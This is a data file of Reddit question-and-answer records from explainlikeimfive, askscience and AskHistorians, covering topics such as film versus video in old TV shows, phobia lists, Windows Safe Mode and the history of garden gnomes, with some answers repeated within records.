{"q_id": "ax5w1s", "title": "on 1960s-1980s era tv shows why is 'outside' footage always more grainy?", "selftext": "I hope the person reading this knows what I mean... You watch any sort of TV series from the olden days (I'm from the UK so Fawlty Towers, Mr Bean, Blackadder Season 1 spring to mind as examples, I'm sure this applies to way more shows internationally too). The shots which are indoors seem more 'established' for lack of a better word. Smooth frames and clear picture, then they will venture outside and it just goes full grainy and what seems like much lower FPS too. Did they say \"ok we are going outside, put the good camera down and grab the shit camera\". Anyone who might know the reason for this?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ax5w1s/eli5_on_1960s1980s_era_tv_shows_why_is_outside/", "answers": {"a_id": ["ehrd3bm", "ehrgpgy", "ehrj8rs", "ehrmx9p", "ehry0nz"], "score": [13, 4, 2, 2, 3], "text": ["The outdoor footage was taken with a small, hand-held film camera that used smaller, lower-resolution analog film (16mm film typically).", "Dad's Army was terrible for this. The outdoor footage looks twenty years older than the rest.", "It was during the days when we were transitioning from film to videotape.  External scenes were shot on film, whereas internal studio shots were done on video.  And yes, it's very noticeable.  \n\n & #x200B;", "They tended to use film for outdoor scenes as opposed to video, since the equipment for the latter was too expensive and heavy to transport.\n\nOne case where they went all-film on Doctor Who: the first series of the 3rd Doctor: Spearhead From Space. The union that encompassed the video equipment went on strike, so they had to resort to all-film instead.", "A lot of the time US shows would use stock footage when that would be cheaper to buy the rights to a shot or two than recreate the scene yourself. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "jsqrr", "title": "We've all seen the extensive lists of phobias... do we really have documented examples of each?  Or is someone just having fun with greek?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jsqrr/weve_all_seen_the_extensive_lists_of_phobias_do/", "answers": {"a_id": ["c2etjy4", "c2ets4v", "c2eu9oq", "c2exgte", "c2etjy4", "c2ets4v", "c2eu9oq", "c2exgte"], "score": [9, 9, 2, 3, 9, 9, 2, 3], "text": ["[Here](_URL_0_) is a list of phobias for which it is claimed there are no known cases.", "I noticed that Anatidaephobia, the fear that there is a duck watching you, did not make the list.", "It only takes one psychologist to say his patient is specifically scared of otters for Lutraphobia to enter the world.   \n\nPsychology can still be a rather soft science...the nature of the subject matter can make it difficult to provide the same sort of rigor found in a test tube.  And if a claim is made, refuting it completely can take years of studies.\n\nAnd unlike medicine, any psychologist can read about something in a journal and apply it to their patients that same day.  This has lead to some unfortunate fads, like recovered memories or multiple personality disorders, which were over-diagnosed at a stage where their existence remained controversial.\n\nBetween softness, lack of rigor, and practitioner independence, the bar for new phobias is rather low. ", "My Sister has a deathly serious phobia of buttons. (The ones that fasten clothing, as opposed to \"pin-on\" badges...just in case there's any confusion!) She can just about cope with them when attached securely to clothing, but if she sees a loose one on the floor, she reacts like an Arachnophobe confronted with a tarantula.\n\nI thought she was taking the piss when she first mentioned it, but apparently it's actually not that uncommon. I've never found an official name for it though.", "[Here](_URL_0_) is a list of phobias for which it is claimed there are no known cases.", "I noticed that Anatidaephobia, the fear that there is a duck watching you, did not make the list.", "It only takes one psychologist to say his patient is specifically scared of otters for Lutraphobia to enter the world.   \n\nPsychology can still be a rather soft science...the nature of the subject matter can make it difficult to provide the same sort of rigor found in a test tube.  And if a claim is made, refuting it completely can take years of studies.\n\nAnd unlike medicine, any psychologist can read about something in a journal and apply it to their patients that same day.  This has lead to some unfortunate fads, like recovered memories or multiple personality disorders, which were over-diagnosed at a stage where their existence remained controversial.\n\nBetween softness, lack of rigor, and practitioner independence, the bar for new phobias is rather low. ", "My Sister has a deathly serious phobia of buttons. (The ones that fasten clothing, as opposed to \"pin-on\" badges...just in case there's any confusion!) She can just about cope with them when attached securely to clothing, but if she sees a loose one on the floor, she reacts like an Arachnophobe confronted with a tarantula.\n\nI thought she was taking the piss when she first mentioned it, but apparently it's actually not that uncommon. I've never found an official name for it though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wiktionary.org/wiki/Appendix:English_unattested_phobias#List_of_invented_phobias"], [], [], [], ["http://en.wiktionary.org/wiki/Appendix:English_unattested_phobias#List_of_invented_phobias"], [], [], []]}
{"q_id": "5tkzyp", "title": "a bill nicknamed 'the snoopers' charter' recently passed in the uk, giving unprecedented access for government bodies to personal data. can i subvert this by using vpns and tor?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5tkzyp/eli5a_bill_nicknamed_the_snoopers_charter/", "answers": {"a_id": ["ddna7lh"], "score": [2], "text": ["It's on hold at least until the UK leaves the EU:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.independent.co.uk/news/uk/politics/snoopers-charter-eu-court-ruling-illegal-investigatory-powers-act-emails-david-davis-a7488041.html"]]}
{"q_id": "prebm", "title": "Would a zero gravity environment change the development/shape of a woman's breasts?", "selftext": "Weird question I know, but I'm wondering if there would be a difference in shape of a woman's breasts if she grew up in a zero or low gravity environment (positioned higher on the chest maybe), or if the \"hanging\" shape is entirely determined by surrounding musculature/genetics.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/prebm/would_a_zero_gravity_environment_change_the/", "answers": {"a_id": ["c3rr411", "c3rsn63"], "score": [13, 9], "text": ["Breasts are supported by suspensory ligaments called \"Cooper's Ligaments.\"  As the woman ages, the connective tissue breaks down and causes sagging.  This is controlled by genetics, age, smoking, and pregnancy among other things. There has been no evidence saying that sagging is controlled by wearing a bra.  I say this because we can sort of use bra use as a pseudo zero gravity environment (I know its not the same, but in essence they both take strain off the ligaments), so genetics would be a bigger factor than the zero gravity environment.  ", "This is a complex question.\n\nI take it you are asking about women who grew up in zero gravity, but are then brought into a gravity environment, because obviously, if they continue to stay in zero-gravity, there would be no sagging. Sagging is the result of gravity.\n\nAlthough there are a number of variables that make any generalizations difficult, my prediction is that their breasts would sag more than of women who grow up in normal gravity.\n\nThe reason is because elastic tissue, like most other tissues in the body, is in a state of flux. It is constantly broken down and rebuilt, and like bones, the build up process is related to how much stress it's bearing. If it bears almost no stress (under zero-g, or if a very tight bra is worn that completely immobilizes the breast), then it will likely thin out and weaken. The same thing happens to bone in a limb that is immobilized - atrophy from lack of use. This causes breasts to sag.\n\nThere was a [Japanese study](_URL_0_) and also a French study which I can't locate right now, that showed that typical bras, which try to immobilize the breast, cause increased sagginess.\n\nOn the other hand, too much stress causes the elastic tissue to stretch and lengthen, which can also make breasts sag. Too much stress meaning, for example, a woman who has large and heavy breasts, who does vigorous exercise without wearing a bra. Exercise causes the breasts to move quite forcefully, and if they have a large mass then the stresses on the ligaments can be substantial, permanently stretching them.\n\nSo the situation appears to be that for women who have small or medium sized breasts, they will probably sag less if they don't wear bras. Women with larger breasts should wear a bra. In both cases, wearing a bra that immobilizes the breast by compressing it and holding it against the chest is bad - there needs to be some movement so that the ligaments and elastic tissues are under stress, but not too much stress. A fitted bra that encloses the breast like a sling and cushions against excess movement by transmitting the forces to the shoulders via the straps is better than one that tries to immobilize by squeezing the breast against the chest.\n\nOf course, these are only some of the factors responsible for sagging. Others include genetics, smoking (smoking breaks down elastin, which causes any skin to sag - breasts, face, skin everywhere), pregnancy (not pregnancy as such, but rather the increase in breast size during pregnancy and subsequent return to normal size later, which stretches the skin and leaves that excess skin around even after the breast has shrunk back), age (elastin starts to break down in old age), etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.ncbi.nlm.nih.gov/pubmed/2092072"]]}
{"q_id": "2ify5p", "title": "what's the difference between a \"morning person\" and someone for whom mornings are hell? and what can non-morning people do to make the mornings more bareable?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ify5p/eli5_whats_the_difference_between_a_morning/", "answers": {"a_id": ["cl1ungj", "cl1w51s", "cl1z862", "cl26j39"], "score": [2, 27, 11, 8], "text": ["The behaviours of \"lark or owl\" depend on your \"reptilian brain\". Several studies show that it is inherited (genetic), but the behaviour can still be worked around with practice.\n\nSearch for \"lark or owl\" and you'll find all you want to know. _URL_0_", "I have to disagree with, well most posters. I get 7-8 hours of sleep almost every night, and wake without an alarm. I have plenty to look forward to for the day. Yet - I am NOT happy or sociable for at least two hours after waking.\n\nI just want to be left alone for that time period. And that, OP, is what you can do for us. Just leave us alone, if possible. If not possible (work, etc) keep any communication limited to what is absolutely necessary. Do NOT try to cheer us up. \n\nIn an hour or so, we will smile at you and crack a joke. Unless we just don't like you.", "I don't know about physiological difference, but I'd have to disagree with most people here. I have very hard time waking up before 9. Anything before 12 is still very difficult. Even when I do get up at nine, I have very low energy levels until after noon. Yet, I have tons of energy and desire to do things around 11PM(even if I'm already tired from waking up at 9am)", "the only time I feel good in the morning is if I stayed up til that long :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.dailymail.co.uk/health/article-2542392/Why-lie-ins-run-family-Being-early-bird-night-owl-depend-genes.html"], [], [], []]}
{"q_id": "5mjg52", "title": "the bloods vs crips", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5mjg52/eli5_the_bloods_vs_crips/", "answers": {"a_id": ["dc48rn4", "dc48x0v", "dc4batw"], "score": [3, 25, 11], "text": ["in the late 1970s the crips were just one of many gangs in los Angeles when 1 day its leader Raymond Washington attacked two students at his high school. these students Sylvester Scott and Benson Owens gathered together all the gangs that lived on piru street that had run ins with the crips, and formed a super gang who claimed they were all of one 'blood'. the origins of crips are more obscure, but the entire reason for the Bloods to exist is to destroy the crips.", "The Crips formed in Los Angeles in the 60s as a vigilante group that went after gangs and eventually turned into a gang themselves, albeit much bigger and better organized than previous gangs.  \n\nThe Bloods were formed in the 70s by several gangs joining forces to fight back against the Crips. Eventually enough gangs joined to make them strong enough to take over Crips territory, resulting in a turf war. This escalated when both gangs got into dealing crack in the 80s, letting them make a lot of money, but only in the territories they controlled.", "Imagine what it was like when Woody met Buzz for the first time, but they still hate eachother."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4k47qv", "title": "how do real time translation devices work?", "selftext": "how does it recognize the voice of different languages and translate them to English? But then it doesn't work well for someone who is learning how to speak the language as it wrote gibberish for someone practicing English", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4k47qv/eli5_how_do_real_time_translation_devices_work/", "answers": {"a_id": ["d3bzv4v", "d3cckku"], "score": [3, 2], "text": ["Voice-to-text is pretty common these days (pretty much all smartphones do it now). There are also a number of text-based translation services, such as [Google Translate](_URL_0_). Combine the two and you have yourself a real time translator!\n\nYou have a program that takes speech and turns it into text. The program then translates that text. Then the program reads the translated text out loud. \n\nThe translator might not work well if it has trouble putting someone's speech into text. It might also not work well if the input is grammatically incorrect since that will make it harder for the machine to translate.", "Language translators work by ingesting a gigantic body of various documents that have already been translated into as many languages as possible.  Treaties and popular books make up most of the data.\n\nAn algorithm does speech-to-text on your voice, parses out the words and phrases, then cross-references them against the translated database."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://translate.google.com/"], []]}
{"q_id": "3wd7ak", "title": "what is happening in the philippines?", "selftext": "So Today I seen this: _URL_0_ \n\nAnd earlier one game developer had to travel from the philippines because of the things happening there right now. \n\nSo. What is going on? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3wd7ak/eli5what_is_happening_in_the_philippines/", "answers": {"a_id": ["cxv94r4", "cxv985o"], "score": [4, 4], "text": ["After gaining independence in 1945, the Philippines became a democracy. In 1965 Ferdinand Marcos became president. He was highly controversial, accused of corruption, embezzlement, etc. In 1972 he declared martial law, followed by tons of censorship and repression, while he and his wife was able to continue a life of luxury. After his main rival was assassinated in 1983 Marcos called for a snap election and won, but it was widely regarded as fraudulent. This culminated in the People Power Revolution, which made him flee to Hawaii and Corazon Aquino, the widow of the assassinated rival from earlier, became the legitimate president. \n\nBut it wasn't all sunshine. She inherited the debts and corruption issues from her predecessor, which were combined with coup attempts and natural disasters, as well as insurgencies by communists and Moro separatists. Include teh withdrawal of US troops from the Philippines and things didn't look so bright. \n\nAquino made a law stating presidential terms were limited to one term, and she did not stand for re-election. The row of presidents after her have done much to let the economy grow as well as fighting the insurgents, but a few militant groups remain who are known for kidnapping foreigners for ransom. Nonetheless, it's far safer now than it was twenty years ago.", "The Philippines is a country that struggles with corruption, ineffective government, low education and poverty. Crime is a natural result of this.\n\n\"The Punisher\" is in this case the mayor of the city in question and he has dramatically reduced the crime rate by killing criminals (the heads of criminal organizations especially) though high police violence. He is popular because of this, but he has also bypassed the courts in doing this. Which is something he is very much critized for. "]}, "title_urls": [], "selftext_urls": ["http://img-9gag-fun.9cache.com/photo/aQnw01q_700b_v1.jpg"], "answers_urls": [[], []]}
{"q_id": "1gn2aa", "title": "what does safe mode do that is different from booting a computer normally and why/how is it useful?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1gn2aa/eli5what_does_safe_mode_do_that_is_different_from/", "answers": {"a_id": ["calssi6", "caltve4", "caltzy5", "calu21d", "calwm6l", "calxmps", "calynt9"], "score": [61, 30, 4, 15, 2, 2, 2], "text": ["It does not load services and non critical drivers. If something with one of them is broken, corrupt, or infected with a virus, it allows the computer to function so you can fix it. ", "You see son, computers can get sick just like you get sick sometimes.  When you get sick, we feed you simple food like soup and crackers and put you in bed because you aren't able to eat and do the normal things you like or you might get worse.  Once we know why you're sick, we give you the right medicine and when you get better you can do all those fun things again and eat all the good food.\n\nSafe mode is the same thing as soup and bed for you.  The computer is taking it easy so you can figure out why it's sick and make it better.  It doesn't try to run all the fancy programs or anything that might be making it sick.  After you find and fix what's making it sick, it can go back to normal and be happy!", "Basically think of Safe Mode as your body running without wants or desires. It just... does what it needs to do to function.\n\nEDIT: At its most basic level. The fundamental shell of what it was made to do without anything extra.", "Sometimes bits of the computer's software stop working properly, and that stops other bits of the computer working altogether like a domino effect. The problem is that sometimes this means you can't get onto the computer to work out what bit is actually causing the problems.\n\nSafe Mode starts up with no software running except the most basic of settings so that you can get onto the system and work out which bit is causing the problem and fix it!", "There are different versions of safe mode (i.e with networking, or command prompt, or logging, etc), but what they all have in common is that they only allow the most basic of functionality, usually attempting to load generic Microsoft drivers rather than custom 3rd party drivers.  It will also block the start-up of any non-critical service or software.  That can prevent some forms of mal-ware from loading and give you a chance to remove them\n\nThe most common use case is that you would use it when you are experiencing repeated issues running Windows normally and you want to verify if the cause is hardware or software (Windows itself or a different piece of software).\n\nAnother reason to use Safe Mode is when you need to make changes to, or remove, something (usually mal-ware) that is always locked by another process.  Since that process probably won't run while in safe mode, you can usually make changes safely.\n\nYou would use Safe Mode with Networking if you needed to access your network or internet while in safe mode, and Safe Mode with Command Prompt will let you access the command prompt to run more advanced tools.  You can use logging mode to see exactly what is being loaded and if your machine is hanging up on anything, giving you a good idea of what needs to be repaired if your machine never completely finishes booting or something along those lines.", "The difference is that safemode starts up your computer's \"operating system\" with the bare minimum of things (drivers, services etc.) it needs to function. \n\nThis is useful when suddenly your computer doesn't start up correctly. If your computer doesn't start up correctly on a normal boot but it works fine on a safe boot, chances are there's something in the start up process (it's what a computer does when it starts up, kind of like you brushing your teeth in the morning after you wake up!) that's breaking your computer (Probably that software you installed after clicking on the AD on the internet which promised to make your computer faster)", "When you normally start your computer, there are multiple programs that launch.  Some of these are called drivers.  Drivers are basically software (programs) that tells hardware (the physical parts of your computer) how to work.\n\nWhen you start your computer in Safe Mode (by pressing the F8 key on the keyboard as the computer is starting and selecting the Safe Mode option), the computer is starting without those drivers and does not start up all of those programs.\n\nThis is the reason the stuff on the screen appears large when it first starts in Safe Mode.  The screen size changes to be a lower quality because this is the basic setting that is used when no drivers are loaded for the video display.  Programs such as anti-virus and security features do not start either.\n\nSometimes if a file is corrupt or a service is not working correctly, the computer will not start in Normal Mode.  A faulty installation of a program can also cause this.  This is a case in which Safe Mode is preferred.  You can then get into the computer operating system to fix any problems with it.\n\nIf there is a problem with an actual computer part, though, sometimes Safe Mode will not help.  You can use the CD that came with the computer (or the System Restore mode) to repair the computer.  You simply choose the repair option from the menu when you boot from the Windows installation CD.  If you cannot boot up from the CD, it may be a problem with the actual computer parts.  The best solution in these cases would be to take out parts one by one until you find the culprit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "7046bg", "title": "What is the history behind garden gnomes?", "selftext": "Where did garden gnomes first originate? How did they become decorative pieces for gardens? And why gnomes?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7046bg/what_is_the_history_behind_garden_gnomes/", "answers": {"a_id": ["dn0qztq", "dn0t9t2", "dn0qztq", "dn0t9t2"], "score": [419, 57, 419, 57], "text": ["This is a great question. The [Wiki article](_URL_2_) has serious flaws, but it does have some great dates, that provide clear evidence that the tradition of decorating gardens with these sorts of supernatural beings was widespread and dates to at least the early seventeenth century. Evidence about Roman garden statuary is interesting, but it would be incorrect to link them historically without firm evidence. At present I think all we can say is that it is coincidental.\n\nAlthough I know of no clear evidence, it is easy to imagine that the widespread story of 'The New Suit' - Migratory Legend 7015 - either inspired or reinforced the appearance of this sort of garden statuary. In the story, household or barn chores are conducted by one or more supernatural beings (sometimes there is a pair or a trio of the entities). in a Cornish variant (and in an excerpt from my book manuscript due to be released next summer):\n\n > The legend describes how in the morning a farmer finds that his grain has been threshed in his barn the previous night. The following evening, he peered through a crack in the barn door and saw \u2018a little fellow, clad in a tattered suit of green, wielding the \u201cdreshel\u201d (flail) with astonishing vigour, and beating the floor with blows so rapid that the eye could not follow the motion of the implement.\u2019\n\n > The farmer resolved to have a new suit of green made so that he could give it to his supernatural helper as thanks. The following afternoon, he left the new clothes in the barn. With darkness, he crept back to look again through the crack in the door. \u2018He was just in time to see the elf put on the suit, which was no sooner accomplished than, looking down on himself admiringly, he sung\u2019 the following: \n\n > Piskie fine, and piskie gay; \n\n > Piskie now will fly away.\n\n > Aside from the use of the specifically-Cornish term \u2018piskie\u2019, the story fits the typical pattern of what could be found from Scandinavia to Britain. ...\n\n > Readers may recognize this legend as the source of J. K. Rowling\u2019s elfin character named Dobby, the sad creature who is enslaved until someone gives him a new set of clothes. Rowling drew directly on folklore: Briggs \u2013 who may have been Rowling\u2019s source \u2013 describes \u2018Dobby\u2019 as \u2018a friendly name for a hobgoblin in Yorkshire and Lancashire. He is very like a brownie.\u2019 Jacqueline Simpson refers to this aspect of Rowling\u2019s writings in her essay, \u2018On the Ambiguity of Elves\u2019, Folklore, 122 (April 2011) 77. Briggs, An Encyclopedia of Fairies, 103.\n\nSo, it is easy to see that there was a widespread legend and associated belief that supernatural beings occasionally helped households and could be very beneficial. At least one parallel instance of the folk creating a statue of a helpful spirit occurred in the American West where miners would fashion a clay Tommyknocker to serve as an underground guardian - and to whom offerings of food could be made. So the idea of creating one in a garden does not challenge the imagination, and it seems reasonable to conclude that at least early on people understood that there were stories about these sorts of entities and that it might elicit some good will to have these sorts of figurines. That's not to say that there was actual belief associated with them - at least eventually - but these stories could have reinforced the practice.\n\nThe idea that they should be called gnomes is using a term that is a late arrival in the English language, an importation from Scandinavia. For example, my grandfather crafted these sorts of statues for his California garden in the 1930s, and he called them 'brownies' using a term common for these household guardians in England, and that's a term one would expect until later in the twentieth century and particular until the 1977 publication of [a book by the same name](_URL_0_).\n\nedit: Here is an image of one of my grandfather's ['brownies' ca 1933, the Bay Area, California](_URL_1_) (at the feet of the girl on the right).", "The ultimate origins of the garden gnome seem to be somewhat murky, which I will circle back to, after looking at the more concrete part. The English speaking world was introduced to the Garden Gnome by Charles Edmund Isham, an English gardener, who brought 21 terracotta gnomes with him from Germany. The figures were not created as garden decorations, but rather figurines intended to decorate the drawing room and hold up matchboxes. Whether the German-made figurines were previously used for gardens is somewhat unclear, but certainly doesn't seem to be the primary role. Initially bought for internal decoration, Isham soon decided to arrange them as miners for the miniature mountain scene that he created in his garden, setting them up in whimsical arrangements. Isham, an eccentric spiritualist, described his acquisitions as '[apotropaic](_URL_0_) wardens', and the presentation of these folkloric figures was also well grounded in Romantascist thought of the period - Isham not being the only English gardner of the time who believed his landscape inhabited by supernatural beings such as fairies, even if the first to place some literal figures to represent them. Although a dubious claim, Isham claimed that his was the first garden outside of Japan - which he was consciously imitating - to be decorated with figurines (making a clear differentiation between those and statues, of course). The exact year of the arrangement being made is unclear, with his garden project beginning in 1847 and the gnomes added some time after 1850.\n\nIsham's garden, as with many of the period, was open to the public on Sundays, and visitors were apparently charmed by the quirky display and eventually came to imitate it. Those adopting them of course were not Isham's fellow aristocrats, who considered it to be rather gauche (his daughter got rid of the gnomes after his death), but rather members of the middle-class. Mostly made in Germany, the center of production of the little \"Gartenzwerge\" came to be Thuringia, Germany, under August Heissner, who started his factory and heavily marketed the garden ornaments made there - Isham himself had never done much to promote them even though he was a trailblazer - and the commercial publications being an important part of spreading the word. They were even then, as now, considered fairly tasteless by most, although lacking in the ironic love of kitsch that the current generation gives it.\n\nNow, of course, where did the gnome come from *before* 1847? As /u/itsallfolklore has already touched on... we don't know exactly. As mentioned, Isham's gnomes were intended for inside decoration, and these \"house gnomes\" date at least to the late 18th century in Germany, and gnome-*like* statues are found in 17th century Scandinavia. It seems that by the 1840s, some of the gnomes being made in Germany were being made with the intention of outdoor display, but what led to this shift doesn't seem clear.\n\nThere are several theories which try to connect them to earlier traditions but without clear cut evidence. Connecting them to dwarf statues in the commedia dell\u2019arte style of the 17th-18th centuries is offered up, as are deeper connections to Roman tradition, specifically statues of Priapus, tying the explicit phallic aspect of his statuary with the implicit red hats of the gnomes. This all comes off as fairly unsupported speculation though, and it is much easier to look to more recent folkloric beliefs which IAF touched on. Certainly, that is the immediate origin which we should look to for Isham's presentation. All in all, it seems to be rather unclear though, since, as summed up by one recent paper I *was* able to dig up, \"Garden gnomes have long been ignored by garden historians, and have only recently been gaining academic attention, primarily in England\". It would seem that their complete, authoritative history still remains to be written.\n\nWhat little reading I was able to dig up on this topic, which really requires piecing together from each is as follows.\n\n* Carter, Tom. The Victorian Garden. Bell  &  Hyman, 1984.\n* Dinkelacker, Horst. 1996. The renaissance of the german garden gnome. Journal of Popular Culture 30, (3) (Winter): 27\n* Drower, George. Garden Heroes and Villains. The History Press, 2006\n* Duggan, Ian C. \"The Cultural History of the Garden Gnome in New Zealand.\" Studies in the History of Gardens  &  Designed Landscapes 36, no. 1 (2016): 78-88.\n* Emanuel Mayer. \"From Silver Cups to Garden Gnomes: Toward a Contextual Reception of Standardized Images.\" Arethusa 45, no. 3 (2012): 283-303.\n* Londos, Eva. 2006. \"KITSCH IS DEAD--LONG LIVE GARDEN GNOMES.\" Home Cultures 3, no. 3: 293-306\n\n* There is also \"Garden Gnomes: A History\" by Way Twigs, but have no way to access it, but it does appear to be a more poppy history that an academic one.", "This is a great question. The [Wiki article](_URL_2_) has serious flaws, but it does have some great dates, that provide clear evidence that the tradition of decorating gardens with these sorts of supernatural beings was widespread and dates to at least the early seventeenth century. Evidence about Roman garden statuary is interesting, but it would be incorrect to link them historically without firm evidence. At present I think all we can say is that it is coincidental.\n\nAlthough I know of no clear evidence, it is easy to imagine that the widespread story of 'The New Suit' - Migratory Legend 7015 - either inspired or reinforced the appearance of this sort of garden statuary. In the story, household or barn chores are conducted by one or more supernatural beings (sometimes there is a pair or a trio of the entities). in a Cornish variant (and in an excerpt from my book manuscript due to be released next summer):\n\n > The legend describes how in the morning a farmer finds that his grain has been threshed in his barn the previous night. The following evening, he peered through a crack in the barn door and saw \u2018a little fellow, clad in a tattered suit of green, wielding the \u201cdreshel\u201d (flail) with astonishing vigour, and beating the floor with blows so rapid that the eye could not follow the motion of the implement.\u2019\n\n > The farmer resolved to have a new suit of green made so that he could give it to his supernatural helper as thanks. The following afternoon, he left the new clothes in the barn. With darkness, he crept back to look again through the crack in the door. \u2018He was just in time to see the elf put on the suit, which was no sooner accomplished than, looking down on himself admiringly, he sung\u2019 the following: \n\n > Piskie fine, and piskie gay; \n\n > Piskie now will fly away.\n\n > Aside from the use of the specifically-Cornish term \u2018piskie\u2019, the story fits the typical pattern of what could be found from Scandinavia to Britain. ...\n\n > Readers may recognize this legend as the source of J. K. Rowling\u2019s elfin character named Dobby, the sad creature who is enslaved until someone gives him a new set of clothes. Rowling drew directly on folklore: Briggs \u2013 who may have been Rowling\u2019s source \u2013 describes \u2018Dobby\u2019 as \u2018a friendly name for a hobgoblin in Yorkshire and Lancashire. He is very like a brownie.\u2019 Jacqueline Simpson refers to this aspect of Rowling\u2019s writings in her essay, \u2018On the Ambiguity of Elves\u2019, Folklore, 122 (April 2011) 77. Briggs, An Encyclopedia of Fairies, 103.\n\nSo, it is easy to see that there was a widespread legend and associated belief that supernatural beings occasionally helped households and could be very beneficial. At least one parallel instance of the folk creating a statue of a helpful spirit occurred in the American West where miners would fashion a clay Tommyknocker to serve as an underground guardian - and to whom offerings of food could be made. So the idea of creating one in a garden does not challenge the imagination, and it seems reasonable to conclude that at least early on people understood that there were stories about these sorts of entities and that it might elicit some good will to have these sorts of figurines. That's not to say that there was actual belief associated with them - at least eventually - but these stories could have reinforced the practice.\n\nThe idea that they should be called gnomes is using a term that is a late arrival in the English language, an importation from Scandinavia. For example, my grandfather crafted these sorts of statues for his California garden in the 1930s, and he called them 'brownies' using a term common for these household guardians in England, and that's a term one would expect until later in the twentieth century and particular until the 1977 publication of [a book by the same name](_URL_0_).\n\nedit: Here is an image of one of my grandfather's ['brownies' ca 1933, the Bay Area, California](_URL_1_) (at the feet of the girl on the right).", "The ultimate origins of the garden gnome seem to be somewhat murky, which I will circle back to, after looking at the more concrete part. The English speaking world was introduced to the Garden Gnome by Charles Edmund Isham, an English gardener, who brought 21 terracotta gnomes with him from Germany. The figures were not created as garden decorations, but rather figurines intended to decorate the drawing room and hold up matchboxes. Whether the German-made figurines were previously used for gardens is somewhat unclear, but certainly doesn't seem to be the primary role. Initially bought for internal decoration, Isham soon decided to arrange them as miners for the miniature mountain scene that he created in his garden, setting them up in whimsical arrangements. Isham, an eccentric spiritualist, described his acquisitions as '[apotropaic](_URL_0_) wardens', and the presentation of these folkloric figures was also well grounded in Romantascist thought of the period - Isham not being the only English gardner of the time who believed his landscape inhabited by supernatural beings such as fairies, even if the first to place some literal figures to represent them. Although a dubious claim, Isham claimed that his was the first garden outside of Japan - which he was consciously imitating - to be decorated with figurines (making a clear differentiation between those and statues, of course). The exact year of the arrangement being made is unclear, with his garden project beginning in 1847 and the gnomes added some time after 1850.\n\nIsham's garden, as with many of the period, was open to the public on Sundays, and visitors were apparently charmed by the quirky display and eventually came to imitate it. Those adopting them of course were not Isham's fellow aristocrats, who considered it to be rather gauche (his daughter got rid of the gnomes after his death), but rather members of the middle-class. Mostly made in Germany, the center of production of the little \"Gartenzwerge\" came to be Thuringia, Germany, under August Heissner, who started his factory and heavily marketed the garden ornaments made there - Isham himself had never done much to promote them even though he was a trailblazer - and the commercial publications being an important part of spreading the word. They were even then, as now, considered fairly tasteless by most, although lacking in the ironic love of kitsch that the current generation gives it.\n\nNow, of course, where did the gnome come from *before* 1847? As /u/itsallfolklore has already touched on... we don't know exactly. As mentioned, Isham's gnomes were intended for inside decoration, and these \"house gnomes\" date at least to the late 18th century in Germany, and gnome-*like* statues are found in 17th century Scandinavia. It seems that by the 1840s, some of the gnomes being made in Germany were being made with the intention of outdoor display, but what led to this shift doesn't seem clear.\n\nThere are several theories which try to connect them to earlier traditions but without clear cut evidence. Connecting them to dwarf statues in the commedia dell\u2019arte style of the 17th-18th centuries is offered up, as are deeper connections to Roman tradition, specifically statues of Priapus, tying the explicit phallic aspect of his statuary with the implicit red hats of the gnomes. This all comes off as fairly unsupported speculation though, and it is much easier to look to more recent folkloric beliefs which IAF touched on. Certainly, that is the immediate origin which we should look to for Isham's presentation. All in all, it seems to be rather unclear though, since, as summed up by one recent paper I *was* able to dig up, \"Garden gnomes have long been ignored by garden historians, and have only recently been gaining academic attention, primarily in England\". It would seem that their complete, authoritative history still remains to be written.\n\nWhat little reading I was able to dig up on this topic, which really requires piecing together from each is as follows.\n\n* Carter, Tom. The Victorian Garden. Bell  &  Hyman, 1984.\n* Dinkelacker, Horst. 1996. The renaissance of the german garden gnome. Journal of Popular Culture 30, (3) (Winter): 27\n* Drower, George. Garden Heroes and Villains. The History Press, 2006\n* Duggan, Ian C. \"The Cultural History of the Garden Gnome in New Zealand.\" Studies in the History of Gardens  &  Designed Landscapes 36, no. 1 (2016): 78-88.\n* Emanuel Mayer. \"From Silver Cups to Garden Gnomes: Toward a Contextual Reception of Standardized Images.\" Arethusa 45, no. 3 (2012): 283-303.\n* Londos, Eva. 2006. \"KITSCH IS DEAD--LONG LIVE GARDEN GNOMES.\" Home Cultures 3, no. 3: 293-306\n\n* There is also \"Garden Gnomes: A History\" by Way Twigs, but have no way to access it, but it does appear to be a more poppy history that an academic one."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books/about/Gnomes_Leven_en_Werken_Van_de_Kabouter_E.html?id=fm5iAAAAMAAJ&amp;source=kp_cover", "https://imgur.com/wmjh17c", "https://en.wikipedia.org/wiki/Garden_gnome"], ["https://www.merriam-webster.com/dictionary/apotropaic"], ["https://books.google.com/books/about/Gnomes_Leven_en_Werken_Van_de_Kabouter_E.html?id=fm5iAAAAMAAJ&amp;source=kp_cover", "https://imgur.com/wmjh17c", "https://en.wikipedia.org/wiki/Garden_gnome"], ["https://www.merriam-webster.com/dictionary/apotropaic"]]}
